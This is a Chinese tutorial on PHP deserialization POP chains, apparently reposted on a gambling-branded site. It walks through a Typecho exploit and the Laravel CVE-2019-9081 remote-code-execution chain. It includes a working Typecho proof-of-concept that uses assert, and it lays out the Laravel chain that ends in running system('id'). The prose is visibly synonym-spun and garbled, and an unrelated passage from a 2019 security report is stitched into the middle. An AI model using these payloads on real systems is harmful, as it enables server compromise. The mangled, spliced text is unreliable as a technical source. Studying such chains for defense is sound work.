由浅入深理会序列化进击(三) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

由浅入深理会序列化进击(三)

申博_安全防护 申博 33次浏览 已收录 0个评论

媒介

之前离别引见了php序列化进击的魔法要领、session序列化引擎以及原生类序列化题目。

本篇文章则主要从实在案例来看序列化的pop链组织。

typecho序列化

这一节就简单说一下组织链,由于之前的文章剖析过,可详见:

https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/

总结

1.找到入手点__typecho_config:

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

2.寻觅可用类Typecho_Db:

$db = new Typecho_Db($config['adapter'], $config['prefix']);

3.应用Typecho_Feed魔法要领__toString():

$config['adapter'] => new Typecho_Feed()
class Typecho_Feed __toString()

4.应用Typecho_Request魔法要领__get():

$item['author']->screenName
class Typecho_Request  __get()

5.应用get()要领,完成应用链:

get() -> _applyFilter() -> call_user_func

poc

class Typecho_Feed{
    private $_type='ATOM 1.0';
    private $_items;
 
    public function __construct(){
        $this->_items = array(
            '0'=>array(
                'author'=> new Typecho_Request())
        );
    }
}
 
class Typecho_Request{
    private $_params = array('screenName'=>'phpinfo()');
    private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
 
echo base64_encode(serialize($poc));

laravel序列化

Laravel是一套简约、文雅的PHP Web开辟框架(PHP Web Framework),若其自身涌现破绽,则对运用相应框架开辟的网站影响是致命的。而这里就将剖析laravel框架序列化RCE,CVE编号:CVE-2019-9081,受影响局限:laravel >= 5.7。

类名加载

我们起首随意组织一段序列化:

<?php
class sky{
public $sky='test';
}
$sky = new sky();
echo urlencode(serialize($sky));
# O%3A3%3A%22sky%22%3A1%3A%7Bs%3A3%3A%22sky%22%3Bs%3A4%3A%22test%22%3B%7D

我们传入laravel,并举行反序列化,能够看到load要领试图加载我们随意输入的sky类,起首在$facadeNamespace中寻觅指定类名:

由浅入深理会序列化进击(三)

由浅入深理会序列化进击(三)

假如找到,则会经由历程loadFacade举行加载,不然则进入loadClass举行class map查找,在vendor目录下寻觅所需类:

由浅入深理会序列化进击(三)

由浅入深理会序列化进击(三)

然则并不能找到sky类,末了会return false。

末了检察是不是class名以Swift_开首:

由浅入深理会序列化进击(三)

末了由于找不到对应类的定义,所以并不能胜利进入反序列化流程。

但假如我们用一个存在的类,能够显著发如今findFile函数的classMap中找到了相干类,并返回举行了include:

由浅入深理会序列化进击(三)

由浅入深理会序列化进击(三)

风险类发掘

发掘一个框架的新破绽,从框架新到场的代码入手是一个很好的思绪。我们注意到laravel在5.7以后到场了PendingCommand:

由浅入深理会序列化进击(三)

值得注意的是,我们查到该文件,其定义了PendingCommand类,同时注意到其两个要领:

/**
     * Execute the command.
     *
     * @return int
     */
public function execute()
{
    return $this->run();
}
    /**
     * Handle the object's destruction.
     *
     * @return void
     */
public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }
    $this->run();
}

异常有意思的是,该类有魔法要领__destruct,而该魔法要领会挪用run函数,而run函数能够举行执行命令。

我们检察其组织体式格局:

public function __construct($command, $parameters,$class,$app)
    {
        $this->command = $command;
        $this->parameters = $parameters;
        $this->test=$class;
        $this->app=$app;
    }

一共须要用到4个属性,我们查阅对应手册:

由浅入深理会序列化进击(三)

run & mockConsoleOutput

我们跟进run要领:

public function run()
    {
        $this->hasExecuted = true;
        $this->mockConsoleOutput();
        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }
            throw $e;
        }
        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }
        return $exitCode;
    }

关注到第一个症结点:

$this->mockConsoleOutput();

我们跟进该函数:

protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);
        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);
                    return $question[1];
                });
        }
        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

起首是第一步:

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

我们跟进createABufferedOutputMock:

private function createABufferedOutputMock()
    {
        $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
                ->shouldAllowMockingProtectedMethods()
                ->shouldIgnoreMissing();
        foreach ($this->test->expectedOutput as $i => $output) {
            $mock->shouldReceive('doWrite')
                ->once()
                ->ordered()
                ->with($output, Mockery::any())
                ->andReturnUsing(function () use ($i) {
                    unset($this->test->expectedOutput[$i]);
                });
        }
        return $mock;
    }

这里假如想继承走下去,我们须要属性$this->test->expectedOutput:

由浅入深理会序列化进击(三)

那末有无类有expectedOutput呢?我们全局搜刮,发如今Illuminate\Foundation\Testing\Concerns中存在如许的属性。

但如许的类很难被实例化,没法走通背面的路。但此时我们能够巧用魔法要领__get:当我们试图猎取一个不可达属性,类会自动挪用__get函数。

我们找到以下类:

vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php

由浅入深理会序列化进击(三)

能够运用我们常常运用的小trick,设置键名为expectedOutput的数组,即可应用。

网络安全态势报告—2019年上半年

一、网络安全态势综述 2019年上半年,网络攻击数量总体呈上升趋势,网站态势依然严峻,教育行业的网站漏洞数量发现最多。 上半年发现感染范围较大的勒索病毒是GlobeImposter和GandCrab家族,攻击次数最多的家族是WannaMine挖矿病毒;2019年上半年新增高危漏洞呈现上升趋势,跨站脚本攻击居漏洞攻击之首。 恶意程序方面,2019年上半年RDP暴力破解仍然是使用最广泛的勒索病毒攻击方式,社会工

然后是第二步:

foreach ($this->test->expectedQuestions as $i => $question)

此处照旧能够运用__get要领,定义键名为expectedQuestions的数组即可。

run & 实例化对象

到此为止,我们已能组织出PendingCommand前3个参数的值了:

$test = new Illuminate\Auth\GenericUser(
    array(
        "expectedOutput"=>array("0"=>"1"),
                "expectedQuestions"=>array("0"=>"1")
         )
);
$command = "system";
$parameters = array('id');

那末末了一个参数$app一样尤其症结,我们继承跟进run的代码,来到症结第三步:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

我们跟入这一句,能够发明,起首代码在实例化对象:

$this->app[Kernel::class]

然后再去调对应的call要领,那末跟入不难发明,其想要实例化的对象是:

Illuminate\Contracts\Console\Kernel

起首进入:

由浅入深理会序列化进击(三)

跟进make:

public function make($abstract, array $parameters = [])
    {
        $abstract = $this->getAlias($abstract);
        if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
            $this->loadDeferredProvider($abstract);
        }
        return parent::make($abstract, $parameters);
    }

再跟进其父类的make:

public function make($abstract, array $parameters = [])
    {
        return $this->resolve($abstract, $parameters);
    }

跟进resolve:

...
$concrete = $this->getConcrete($abstract);
...

那末此时发明$concrete的值来自于getConcrete($abstract):

vendor/laravel/framework/src/Illuminate/Container/Container.php

$concrete = $this->getConcrete($abstract);

跟进getConcrete:

protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }
        // If we don't have a registered resolver or concrete for the type, we'll just
        // assume each type is a concrete name and will attempt to resolve it as is
        // since the container should be able to resolve concretes automatically.
        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }
        return $abstract;
    }

我们注意到,假如bindings[$abstract]存在,则会返回bindings[$abstract][‘concrete’]。

而bindings是类Container的属性,同时注意到类Container中也有能够RCE的call要领。那末如今思绪很清楚:我们能够恣意实例化类Container的子类,如许在其子类挪用call的时刻,会触发类Container的call要领,那末即可杀青RCE。

而如许的类挑选类Container的子类:Illuminate\Foundation\Application再好不过。

而$abstract的值为Illuminate\Contracts\Console\Kernel。

那末此时我们轻易晓得$bindings只需存在键名为Illuminate\Contracts\Console\Kernel的数组,就可以进入该if条件句,那末我们只需按以下举行组织:

array(
    "Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")
)

就可以够保证返回值为Illuminate\Foundation\Application。

接下来会推断是不是能够build:

if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

我们跟进isBuildable:

protected function isBuildable($concrete, $abstract)
    {
        return $concrete === $abstract || $concrete instanceof Closure;
    }

假如$concrete和$abstract相称则能够build。

但我们如今显著:

$concrete = 'Illuminate\Foundation\Application';
$abstract = 'Illuminate\Contracts\Console\Kernel';

所以会进入else分支,继承make。

而make时,我们注意到:

由浅入深理会序列化进击(三)

而else分支传入make的值为:

$object = $this->make($concrete);

如许一来直接就构成了背面:

$concrete = $this->getConcrete($abstract);

此次bindings数组里并没有键名为Illuminate\Foundation\Application的数组里,因而直接回返回$abstract的值,如许一来就达到了实例化Illuminate\Foundation\Application的目标:

$concrete = $abstract = 'Illuminate\Foundation\Application'

由浅入深理会序列化进击(三)

末了则能够让末了的$this->app[Kernel::class]的值变成Illuminate\Foundation\Application。为了越发直观,我们在这个位置做以下改写:

由浅入深理会序列化进击(三)

由浅入深理会序列化进击(三)

紧接着会挪用Illuminate\Foundation\Application父类Illuminate\Container\Container的call要领:

vendor/laravel/framework/src/Illuminate/Container/Container.php

由浅入深理会序列化进击(三)

由浅入深理会序列化进击(三)

末了走入这个call_user_func_array,而$callback是我们能够掌握的system,而getMethodDependencies(),我们跟进:

由浅入深理会序列化进击(三)

末了会返回我们须要的参数id,那末如许一来,即可RCE胜利:

由浅入深理会序列化进击(三)

总结

laravel全部反序列化RCE链用的异常美丽:

1.类PendingCommand 应用 __destruct触发run()要领

2.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 组织数组

3.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 应用 __get()魔法要领满足mockConsoleOutput

4.应用恣意实例化对象,实例化Illuminate\Foundation\Application

5.挪用call触发父类call要领RCE

跋文

实在的chain组织远比之前例题中的难上多倍,但全部历程异常风趣,能够学到不少姿态~

明原文地点: https://www.4hou.com/web/19312.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明由浅入深理会序列化进击(三)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址